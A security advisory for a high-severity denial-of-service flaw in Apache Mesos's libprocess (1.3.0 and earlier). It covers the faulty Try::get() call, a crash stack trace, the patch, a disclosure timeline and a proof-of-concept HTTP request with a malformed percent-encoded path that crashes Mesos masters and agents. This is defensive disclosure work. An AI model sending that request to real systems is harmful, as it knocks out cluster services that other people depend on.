Severity: High (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:H/RC:C)
Vendor: Apache Software Foundation
Versions Affected: Apache Mesos <= 1.3.0
Description
A vulnerability in the libprocess dependency of Mesos allows a remote attacker
to cause a crash in any Mesos component that includes the library. The bug
resides in the libprocess message parsing functionality and causes the
application to call abort()
ungracefully when handling malformed libprocess
messages.
The vulnerability affects the latest release (1.3.0) of Mesos as well as most versions before. Importantly, it affects the Master and Agent services that are exposed over the network. A malicious actor can easily deny allocation of resources to applications with a single HTTP request to each component.
The bug is found in parse()
at libprocess/src/process.cpp
when attempting to
decode URL encoded paths. Particularly, the condition is triggered when trying
to handle the error created when decoding a malformed path.
795 // Decode possible percent-encoded 'to'.
796 Try<string> decode = http::decode(request.url.path.substr(1, index));
797
798 if (decode.isError()) {
799 return Failure("Failed to decode URL path: " + decode.get());
800 }
If the Try
object returned from decode()
is of the error type, it tries to
return a Failure
object instantiated with a string concatenated with the
results of the get()
call found in ./3rdparty/stout/include/stout/try.hpp
.
73 const T& get() const
74 {
75 if (!data.isSome()) {
76 assert(error_.isSome());
77 ABORT("Try::get() but state == ERROR: " + error_.get().message);
78 }
79 return data.get();
80 }
81
82 T& get()
83 {
84 return const_cast<T&>(static_cast<const Try&>(*this).get());
85 }
Since the Try
object can only represent one of two states: a value or an error
containing the error string, calling get()
attempts to retrieve a value that
is not present resulting in the stout library aborting the program without
handling the exception. This stems from improper use of the stout API.
A partial stack trace at the time of the crash is as follows:
ABORT: (../../3rdparty/stout/include/stout/try.hpp:77): Try::get() but state == ERROR: Malformed % escape in 'mast%r': '%r'
Thread 10 "mesos-master" received signal SIGABRT, Aborted.
[Switching to Thread 0x7fffe4b16700 (LWP 19349)]
0x00007fffef3db428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0 0x00007fffef3db428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1 0x00007fffef3dd02a in __GI_abort () at abort.c:89
#2 0x00005555555d6d7b in _Abort () at ../../3rdparty/stout/include/stout/abort.hpp:74
#3 0x00005555555d6da9 in _Abort () at ../../3rdparty/stout/include/stout/abort.hpp:80
#4 0x00005555555e3bf9 in Try<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, Error>::get () at ../../3rdparty/stout/include/stout/try.hpp:77
#5 0x00005555555e57ce in Try<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, Error>::get () at ../../3rdparty/stout/include/stout/try.hpp:84
#6 0x00007ffff6629577 in parse () at ../../../3rdparty/libprocess/src/process.cpp:799
#7 0x00007ffff663647e in process::ProcessManager::handle () at ../../../3rdparty/libprocess/src/process.cpp:2838
#8 0x00007ffff662a3d7 in process::internal::decode_recv () at ../../../3rdparty/libprocess/src/process.cpp:881
Mitigation
The fix for this error is simple. Simply replace the errorenous get()
call
with error()
.
--- /work/mesos-1.3.0/3rdparty/libprocess/src/process.cpp 2017-06-15 22:21:42.413271006 +0000
+++ ../3rdparty/libprocess/src/process.cpp 2017-06-15 21:45:40.993271006 +0000
@@ -796,7 +796,7 @@
Try<string> decode = http::decode(request.url.path.substr(1, index));
if (decode.isError()) {
- return Failure("Failed to decode URL path: " + decode.get());
+ return Failure("Failed to decode URL path: " + decode.error());
}
const UPID to(decode.get(), __address__);
Proof of Concept
Sending the following HTTP request causes Mesos master and agent to crash.
POST /mast%r/api/v1
Host: 127.0.0.1:5050
User-Agent: libprocess/test
Content-type: application/json
{"type":"GET_VERSION"}'
Credit
This issue was discovered by Lyon Yang (@l0Op3r) and Jeremy Heng (@nn_amon).
Timeline
- 12 June 2017 - Discovery of the vulnerability.
- 16 June 2017 - Reporting of the vulnerability to [email protected].
- 17 June 2017 - Git commit fixes the vulnerability upstream.
- 21 June 2017 - Acknowledgement of the vulnerability by the vendor.
- 22 June 2017 - CVE number assigned.
- 26 Sept 2017 - oss-security mailing list email sent by vendor.
Leave a Comment